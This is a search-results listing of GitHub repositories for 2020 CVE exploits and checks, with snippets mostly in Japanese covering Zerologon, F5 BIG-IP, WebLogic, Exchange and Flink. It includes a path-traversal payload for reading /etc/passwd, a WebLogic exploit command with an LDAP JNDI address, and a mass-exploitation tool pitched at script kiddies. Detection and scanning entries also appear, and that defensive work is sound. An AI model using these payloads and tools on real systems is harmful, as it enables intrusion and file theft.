92962 matches found
Treck20-Related
Treck20-Related CVE-2020-11896 Treck TCP/IPスタックおよびデバイス資産調査のPoC プロトコルスタック検査 多くのメーカーがTreckプロトコルスタックを採用しているため、一部のメーカーはハードウェアIPコアの形でTreckプロトコルスタックを参照しています。デバイスのフィンガープリントだけでは脆弱性を特定するのに十分ではありません。対象デバイスがTreckプロトコルスタックであるかどうかを検出する方法が、資産調査の鍵となります。 以下は、Treckプロトコルスタックのフィンガープリント検出方法です。...
CVE-2020-1472
ZeroLogon テストスクリプト Impacketライブラリを使用してZerologonエクスプロイト（CVE-2020-1472）の脆弱性をテストするPythonスクリプトです。 Netlogon認証バイパスを試みます。バイパスが成功すると即座に終了し、Netlogon操作は一切実行しません。ドメインコントローラーがパッチ適用済みの場合、検出スクリプトは2000回のRPC呼び出しペアを送信した後で諦め、ターゲットは脆弱ではないと結論付けます（偽陰性の確率は0.04%）。 インストール Python 3.7以上とPipが必要です。依存関係を以下のようにインストールします：...
git-lfs-RCE-exploit-CVE-2020-27955
Git-lfs リモートコード実行 RCE エクスプロイト CVE-2020-27955 .bat / powershell 版 影響を受ける: git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows 上でテスト済み: git、GitHub CLI gh、GitHub Desktop、Visual Studio...
CVE-2020-7048
CVE-2020-7048 この悪用を再現するには、このビデオをご覧ください。 https://www.youtube.com/watch?v=wHBhWVP0ryY&feature=youtu.be&abchannel=ElmouradiAmine...
Windows10_Cumulative_Updates_PowerShell
単にこれを使用してください - https://github.com/aaronparker/LatestUpdate ENTERPRISE または EDU の Win 10 の場合、すべてを更新します。 PRO の場合、1809 , 1903 & 1909 のみがパッチ適用されます。 Windows10CumulativeUpdatesPowerShell この PowerShell スクリプトはシステム上で実行でき、システムが CVE-2020-0601 "Curveball" に対してパッチ適用済みかどうかを特定し、未適用の場合は適切なパッチをダウンロードして実行します。...
CTX-CVE-2020-7473
CTX-CVE-2020-7473 Citrix Sharefile 脆弱性チェック 簡単な調査詳細 CTX-CVE-2020-7473 作成日: 2020.04.16 脆弱性チェック: Webブラウザで開く https://yoursharefileserver.companyname.com/UploadTest.aspx または curl https://yoursharefileserver.companyname.com/UploadTest.aspx --path-as-is 空白ページ = サーバー脆弱 エラー404 = サーバーはパッチ済み 注意事項:...
GoF5-CVE-2020-5902
GoF5-CVE-2020-5902 F5 BIG-IP Traffic Management User Interface TMUI の重大な脆弱性 CVE-2020-5902 を検証するためのオープンソースユーティリティ。 Golang 製。 Windows デモ...
CVE-2020-14645
CVE-2020-14645 使い方 まず NDI-Injection-Exploit を使用してリッスンし、LDAP アドレスを生成します。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget と -RMI は必須です。HTTPS では --SSL パラメータを使用可能です。-Port のデフォルトは 7001 です。 自分でコンパイルする場合は、coherence.jar と wlfullclient.jar を追加する必要があります...
CVE-2020-7961-Mass
CVE-2020-7961-Mass CVE-2020–7961 Exploit masivo para Script Kiddies Probado en: Kali Linux, Windows,... Requisitos: apt install python3 pip3 install requests colorama Uso: python3 rce.py target url | Para un solo objetivo python3 mass.py list url | Para una lista de objetivos Saved file to:...
weblogicPoc
weblogicPoc Weblogic Vuln POC EXP cve-2020-2551 cve-2020-2555 cve-2020-2883 ，。。。 Patch CVE-2020-2551 元のバージョン（https://github.com/Y4er/CVE-2020-2551.git）を更新したところ、プライベートアドレスのサーバーで直接接続して検出できない問題に遭遇しました。 CVE-2020-2555 cve-2020-2555 exp、pythonスクリプトを更新しました。 CVE-2020-2883 cve-2020-2883...
ecp_slap
ecpslap これは、脆弱なオンプレミス Exchange インスタンスのスキャンと悪用のための機能を含む、CVE-2020-0688 の概念実証コードです。 使用方法 scan - 悪用に必要な Cookie を取得するために資格情報とターゲット情報を指定し、それらを cookies.txt に保存します。また、対象の Exchange サーバーで Exchange Control Panel ECP サービスが公開されているかどうかを確認し、このサービスへの認証を試み、適切な VIEWSTATEGENERATOR...
CVE-2020-5902
Readme F5 BIG-IP 任意ファイル読み取り + リモートコマンド実行 RCE root@kitploit: +-------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-5902 F5 BIG-IP Read File + RCE + +-------------------------------------------------------------+ + USE:...
CVE-2020-17519
CVE-2020-17519 Apache Flink 1.11.0 および 1.11.1 におけるディレクトリトラバーサル脆弱性のエクスプロイトスクリプト（CVE-2020-17519） この脆弱性により、攻撃者は /jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd のようなパスを介して、Apache Flink の JobManager で任意のファイルを読むことができます。 影響を受けるバージョン Apache Flink 1.11.0 Apache...
MiniPlasma-Detection
MiniPlasma 検出 CVE-2020-17103 cldflt.sys の競合状態を悪用して SYSTEM アカウントの windir 環境変数を乗っ取り、WER QueueReporting スケジュールタスクをリダイレクトして攻撃者制御のバイナリを SYSTEM として実行させる Windows ローカル特権昇格エクスプロイト MiniPlasma の Sigma 検出ルール。 CVE-2020-17103 は 2020 年に Google Project Zero の James Forshaw によって報告され、Microsoft によって修正されたとされています。202...
zerologon
SMB & RPC 向け Zerologon テスト SecuraBV スクリプト をベースにした Python スクリプトです。 CVE-2020-1472 が RPC/TCP 経由だけでなく、RPC/SMB 経由でも実行可能であることを示します。 さらに、最終的なクライアントチャレンジとクライアント資格情報にランダムバイトが含まれており、単純な IDS シグネチャに対するテストが可能です。 RPC/SMB スキャンはデフォルトで実行されます。対象サーバーによっては、netlogon パイプへのアクセス許可を得るために、有効な認証済みユーザーが必要な場合があります。 実行方法...
CVE-2020-24750
CVE-2020-24750 結果：...
CVE-2020-14882-POC
このリポジトリには README がありません。...
ofbiz-poc
ofbiz-poc CVE-2020-9496とCVE20209496を利用してdnslogを使い、脆弱性のpocおよびexpを一括検証する OFBizCVE20209496.py 及び OFBizCVE202126295.py は個別の脆弱性検証用 ofbizpoc.py は2つの脆弱性を一括検証します。一括検証したいウェブサイトをurls.txtに保存してください 脆弱性の再現はこちらを参照：https://yuaneuro.cn/archives/ofbiz.html...